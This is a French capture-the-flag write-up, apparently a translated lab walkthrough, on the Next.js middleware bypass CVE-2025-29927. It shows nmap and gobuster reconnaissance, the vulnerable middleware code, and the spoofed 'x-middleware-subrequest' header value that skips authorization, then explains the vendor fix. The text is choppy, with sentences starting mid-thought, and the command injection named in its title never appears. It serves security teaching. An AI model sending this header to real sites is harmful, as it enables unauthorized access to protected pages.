
Défi Capture the Flag : CVE-2025-29927 combiné à une vulnérabilité d'injection de commandes
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard redirige vers /login. Pouvez-vous trouver une information sur la page de connexion qui vous permettra de contourner la redirection ?
— — —
x-middleware-subrequest. Next.js utilise cet en-tête en interne pour empêcher les boucles infinies de middleware. Lorsqu'une requête est traitée, la fonction runMiddleware vérifie les en-têtes de la requête :
x-middleware-subrequest est présent
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
En utilisant cet en-tête, nous disons au middleware : « Ceci est déjà une requête générée par le middleware — ne réexécutez pas le middleware. »
x-middleware-subrequest de toutes les requêtes externes entrantes avant l'exécution du middleware. L'en-tête n'est considéré comme fiable que lorsqu'il est créé dans l'environnement d'exécution de Next.js lors d'un chaînage légitime de middleware.
Concrètement, la valeur de x-middleware-subrequest est désormais validée par rapport à une chaîne hexadécimale générée aléatoirement, garantissant que seules les requêtes de session internes légitimes passent les contrôles d'autorisation. Ainsi, même si un attaquant envoie l'en-tête, Next.js peut désormais faire la différence entre une véritable sous-requête interne (qui porte le jeton aléatoire correct) et une sous-requête usurpée provenant d'un attaquant externe.
— — —